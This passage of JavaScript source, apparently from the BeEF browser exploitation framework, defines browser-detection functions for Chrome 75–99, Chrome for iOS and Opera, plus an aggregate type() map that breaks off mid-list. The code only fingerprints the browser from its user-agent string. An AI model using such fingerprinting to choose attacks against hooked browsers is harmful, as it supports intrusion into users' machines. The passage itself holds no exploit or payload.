},\n\n    /**\n     * Returns true if Chrome for iOS 75.\n     * @example: beef.browser.isC75iOS()\n     */\n    isC75iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 75) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 76.\n     * @example: beef.browser.isC76()\n     */\n    isC76: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 76) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 76.\n     * @example: beef.browser.isC76iOS()\n     */\n    isC76iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 76) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 77.\n     * @example: beef.browser.isC77()\n     */\n    isC77: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 77) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 77.\n     * @example: beef.browser.isC77iOS()\n     */\n    isC77iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 77) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 78.\n     * @example: beef.browser.isC78()\n     */\n    isC78: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 78) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 78.\n     * @example: beef.browser.isC78iOS()\n     */\n    isC78iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 78) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 79.\n     * @example: beef.browser.isC79()\n     */\n    isC79: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 79) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 79.\n     * @example: beef.browser.isC79iOS()\n     */\n    isC79iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 79) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 80.\n     * @example: beef.browser.isC80()\n     */\n    isC80: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 80) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 80.\n     * @example: beef.browser.isC80iOS()\n     */\n    isC80iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 80) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 81.\n     * @example: beef.browser.isC81()\n     */\n    isC81: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 81) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 81.\n     * @example: beef.browser.isC81iOS()\n     */\n    isC81iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 81) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 82.\n     * @example: beef.browser.isC82()\n     */\n    isC82: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 82) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 82.\n     * @example: beef.browser.isC82iOS()\n     */\n    isC82iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 82) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 83.\n     * @example: beef.browser.isC83()\n     */\n    isC83: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 83) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 83.\n     * @example: beef.browser.isC83iOS()\n     */\n    isC83iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 83) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 84.\n     * @example: beef.browser.isC84()\n     */\n    isC84: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 84) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 84.\n     * @example: beef.browser.isC84iOS()\n     */\n    isC84iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 84) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 85.\n     * @example: beef.browser.isC85()\n     */\n    isC85: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 85) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 85.\n     * @example: beef.browser.isC85iOS()\n     */\n    isC85iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 85) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 86.\n     * @example: beef.browser.isC86()\n     */\n    isC86: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 86) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 86.\n     * @example: beef.browser.isC86iOS()\n     */\n    isC86iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 86) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 87.\n     * @example: beef.browser.isC87()\n     */\n    isC87: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 87) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 87.\n     * @example: beef.browser.isC87iOS()\n     */\n    isC87iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 87) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 88.\n     * @example: beef.browser.isC88()\n     */\n    isC88: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 88) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 88.\n     * @example: beef.browser.isC88iOS()\n     */\n    isC88iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 88) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 89.\n     * @example: beef.browser.isC89()\n     */\n    isC89: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 89) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 89.\n     * @example: beef.browser.isC89iOS()\n     */\n    isC89iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 89) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 90.\n     * @example: beef.browser.isC90()\n     */\n    isC90: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 90) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 90.\n     * @example: beef.browser.isC90iOS()\n     */\n    isC90iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 90) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 91.\n     * @example: beef.browser.isC91()\n     */\n    isC91: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 91) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 91.\n     * @example: beef.browser.isC91iOS()\n     */\n    isC91iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 91) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 92.\n     * @example: beef.browser.isC92()\n     */\n    isC92: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 92) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 92.\n     * @example: beef.browser.isC92iOS()\n     */\n    isC92iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 92) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 93.\n     * @example: beef.browser.isC93()\n     */\n    isC93: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 93) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 93.\n     * @example: beef.browser.isC93iOS()\n     */\n    isC93iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 93) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 94.\n     * @example: beef.browser.isC94()\n     */\n    isC94: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 94) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 94.\n     * @example: beef.browser.isC94iOS()\n     */\n    isC94iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 94) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 95.\n     * @example: beef.browser.isC95()\n     */\n    isC95: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 95) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 95.\n     * @example: beef.browser.isC95iOS()\n     */\n    isC95iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 95) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 96.\n     * @example: beef.browser.isC96()\n     */\n    isC96: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 96) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 96.\n     * @example: beef.browser.isC96iOS()\n     */\n    isC96iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 96) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 97.\n     * @example: beef.browser.isC97()\n     */\n    isC97: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 97) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 97.\n     * @example: beef.browser.isC97iOS()\n     */\n    isC97iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 97) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 98.\n     * @example: beef.browser.isC98()\n     */\n    isC98: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 98) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 98.\n     * @example: beef.browser.isC98iOS()\n     */\n    isC98iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 98) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 99.\n     * @example: beef.browser.isC99()\n     */\n    isC99: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 99) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 99.\n     * @example: beef.browser.isC99iOS()\n     */\n    isC99iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 99) ? true : false);\n    },\n\n    /**\n     * Returns true for modern versions of Chrome (above 9).\n     * @example: beef.browser.isCbowser()\n     */\n    isCbowser: function () {\n        const parser = bowser.getParser(navigator.userAgent);\n        const browserName = parser.getBrowserName();\n        return browserName == 'Chrome';\n    },    \n\n    /**\n     * Returns true if Chrome.\n     * @example: beef.browser.isC()\n     */\n    isC: function () {\n        var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();\n        return legacyCheck || this.isCbowser();\n    },\n\n    /**\n     * Returns true if Opera 9.50 through 9.52.\n     * @example: beef.browser.isO9_52()\n     */\n    isO9_52: function () {\n        return (!!window.opera &amp;&amp; (window.navigator.userAgent.match(/Opera\\/9\\.5/) != null));\n    },\n\n    /**\n     * Returns true if Opera 9.60 through 9.64.\n     * @example: beef.browser.isO9_60()\n     */\n    isO9_60: function () {\n        return (!!window.opera &amp;&amp; (window.navigator.userAgent.match(/Opera\\/9\\.6/) != null));\n    },\n\n    /**\n     * Returns true if Opera 10.xx.\n     * @example: beef.browser.isO10()\n     */\n    isO10: function () {\n        return (!!window.opera &amp;&amp; (window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/10\\./) != null));\n    },\n\n    /**\n     * Returns true if Opera 11.xx.\n     * @example: beef.browser.isO11()\n     */\n    isO11: function () {\n        return (!!window.opera &amp;&amp; (window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/11\\./) != null));\n    },\n\n    /**\n     * Returns true if Opera 12.xx.\n     * @example: beef.browser.isO12()\n     */\n    isO12: function () {\n        return (!!window.opera &amp;&amp; (window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/12\\./) != null));\n    },\n\n    /**\n     * Returns true if the browser is any version of Opera.\n     * @example: beef.browser.isObowser()\n    */\n    isObowser: function () {\n        const parser = bowser.getParser(navigator.userAgent);\n        const browserName = parser.getBrowserName();\n        return browserName == 'Opera';\n    },\n\n    /**\n     * Returns true if Opera.\n     * @example: beef.browser.isO()\n     */\n    isO: function () {\n        var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();\n        return legacyCheck || this.isObowser();\n    },\n\n    /**\n     * Returns the type of browser being used.\n     * @example: beef.browser.type().IE6\n     * @example: beef.browser.type().FF\n     * @example: beef.browser.type().O\n     */\n    type: function () {\n\n        return {\n            E: this.isEdge(), // Edge any version\n            C5: this.isC5(), // Chrome 5\n            C6: this.isC6(), // Chrome 6\n            C7: this.isC7(), // Chrome 7\n            C8: this.isC8(), // Chrome 8\n            C9: this.isC9(), // Chrome 9\n            C10: this.isC10(), // Chrome 10\n            C11: this.isC11(), // Chrome 11\n            C12: this.isC12(), // Chrome 12\n            C13: this.isC13(), // Chrome 13\n            C14: this.isC14(), // Chrome 14\n            C15: this.isC15(), // Chrome 15\n            C16: this.isC16(), // Chrome 16\n            C17: this.isC17(), // Chrome 17\n            C18: this.isC18(), // Chrome 18\n            C19: this.isC19(), // Chrome 19\n            C19iOS: this.isC19iOS(), // Chrome 19 on iOS\n            C20: this.isC20(), // Chrome 20\n            C20iOS: this.isC20iOS(), // Chrome 20 on iOS\n            C21: this.isC21(), // Chrome 21\n            C21iOS: this.isC21iOS(), // Chrome 21 on iOS\n            C22: this.isC22(), // Chrome 22\n            C22iOS: this.isC22iOS(), // Chrome 22 on iOS\n            C23: this.isC23(), // Chrome 23\n            C23iOS: this.isC23iOS(), // Chrome 23 on iOS\n            C24: this.isC24(), // Chrome 24\n            C24iOS: this.isC24iOS(), // Chrome 24 on iOS\n            C25: this.isC25(), // Chrome 25\n            C25iOS: this.isC25iOS(), // Chrome 25 on iOS\n            C26: this.isC26(), // Chrome 26\n            C26iOS: this.isC26iOS(), // Chrome 26 on iOS\n            C27: this.isC27(), // Chrome 27\n            C27iOS: this.isC27iOS(), // Chrome 27 on iOS\n            C28: this.isC28(), // Chrome 28\n            C28iOS: this.isC28iOS(), // Chrome 28 on iOS\n            C29: this.isC29(), // Chrome 29\n            C29iOS: this.isC29iOS(), // Chrome 29 on iOS\n            C30: this.isC30(), // Chrome 30\n            C30iOS: this.isC30iOS(), // Chrome 30 on iOS\n            C31: this.isC31(), // Chrome 31\n            C31iOS: this.isC31iOS(), // Chrome 31 on iOS\n            C32: this.isC32(), // Chrome 32\n            C32iOS: this.isC32iOS(), // Chrome 32 on iOS\n            C33: this.isC33(), // Chrome 33\n            C33iOS: this.isC33iOS(), // Chrome 33 on iOS\n            C34: this.isC34(), // Chrome 34\n            C34iOS: this.isC34iOS(), // Chrome 34 on iOS\n            C35: this.isC35(), // Chrome 35\n            C35iOS: this.isC35iOS(), // Chrome 35 on iOS\n            C36: this.isC36(), // Chrome 36\n            C36iOS: this.isC36iOS(), // Chrome 36 on iOS\n            C37: this.isC37(), // Chrome 37\n            C37iOS: this.isC37iOS(), // Chrome 37 on iOS\n            C38: this.isC38(), // Chrome 38\n            C38iOS: this.isC38iOS(), // Chrome 38 on iOS\n            C39: this.isC39(), // Chrome 39\n            C39iOS: this.isC39iOS(), // Chrome 39 on iOS\n            C40: this.isC40(), // Chrome 40\n            C40iOS: this.isC40iOS(), // Chrome 40 on iOS\n            C41: this.isC41(), // Chrome 41\n            C41iOS: this.isC41iOS(), // Chrome 41 on iOS\n            C42: this.isC42(), // Chrome 42\n            C42iOS: this.isC42iOS(), // Chrome 42 on iOS\n            C43: this.isC43(), // Chrome 43\n            C43iOS: this.isC43iOS(), // Chrome 43 on iOS\n            C44: this.isC44(), // Chrome 44\n            C44iOS: this.isC44iOS(), // Chrome 44 on iOS\n            C45: this.isC45(), // Chrome 45\n            C45iOS: this.isC45iOS(), // Chrome 45 on iOS\n            C46: this.isC46(), // Chrome 46\n            C46iOS: this.isC46iOS(), // Chrome 46 on iOS\n            C47: this.isC47(), // Chrome 47\n            C47iOS: this.isC47iOS(), // Chrome 47 on iOS\n            C48: this.isC48(), // Chrome 48\n            C48iOS: this.isC48iOS(), // Chrome 48 on iOS\n            C49: this.isC49(), // Chrome 49\n            C49iOS: this.isC49iOS(), // Chrome 49 on iOS\n            C50: this.isC50(), // Chrome 50\n            C50iOS: this.isC50iOS(), // Chrome 50 on iOS\n            C51: this.isC51(), // Chrome 51\n            C51iOS: this.isC51iOS(), // Chrome 51 on iOS\n            C52: this.isC52(), // Chrome 52\n            C52iOS: this.isC52iOS(), // Chrome 52 on iOS\n            C53: this.isC53(), // Chrome 53\n            C53iOS: this.isC53iOS(), // Chrome 53 on iOS\n            C54: this.isC54(), // Chrome 54\n            C54iOS: this.isC54iOS(), // Chrome 54 on iOS\n            C55: this.isC55(), // Chrome 55\n            C55iOS: this.isC55iOS(), // Chrome 55 on iOS\n            C56: this.isC56(), // Chrome 56\n            C56iOS: this.isC56iOS(), // Chrome 56 on iOS\n            C57: this.isC57(), // Chrome 57\n            C57iOS: this.isC57iOS(), // Chrome 57 on iOS\n            C58: this.isC58(), // Chrome 58\n            C58iOS: this.isC58iOS(), // Chrome 58 on iOS\n            C63iOS: this.isC63iOS(),\n            C: this.isC(), // Chrome any version\n\n            FF2: this.isFF2(), // Firefox 2\n            FF3: this.isFF3(), // Firefox 3\n            FF3_5: this.isFF3_5(), // Firefox 3.5\n            FF3_6: this.isFF3_6(), // Firefox 3.6\n            FF4: this.isFF4(), // Firefox 4\n            FF5: this.isFF5(), // Firefox 5\n            FF6: this.isFF6(), // Firefox 6\n            FF7: this.isFF7(), // Firefox 7\n            FF8: this.isFF8(), // Firefox 8\n            FF9: this.isFF9(), // Firefox 9\n            FF10: this.isFF10(), // Firefox 10\n            FF11: this.isFF11(), // Firefox 11\n            FF12: this.isFF12(), // Firefox 12\n            FF13: this.isFF13(), // Firefox 13\n            FF14: this.isFF14(), // Firefox 14\n            FF15: this.isFF15(), // Firefox 15\n            